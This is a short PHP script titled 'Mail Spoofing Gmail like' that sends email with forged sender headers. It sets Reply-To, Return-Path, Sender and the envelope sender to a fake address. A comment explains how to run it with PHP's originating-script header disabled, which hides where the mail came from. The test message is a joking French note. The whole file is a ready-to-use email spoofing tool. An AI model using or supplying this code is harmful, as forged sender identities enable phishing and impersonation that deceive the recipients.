Mail Spoofing Gmail like

spoof.php

<?php

// howto: php -c <(echo "mail.add_x_header=0") mail.php

$to = "";
$from = "User <real from>";
$spoof="fake mail";

$headers = "Reply-To: $spoof\r\n" .
        "Content-type: text/plain; charset=utf-8\r\n".
        "Return-Path: $spoof\r\n" .
        'MIME-Version: 1.0' . "\r\n" .
        "Sender: $spoof\r\n" .
        "From: $from\r\n";

$subject="Bonjour Matt !";
$message="Yo, comment tu vas ? Je n'essaie rien d'étrange tu vois.";

mail($to, $subject, $message, $headers, "-f $spoof");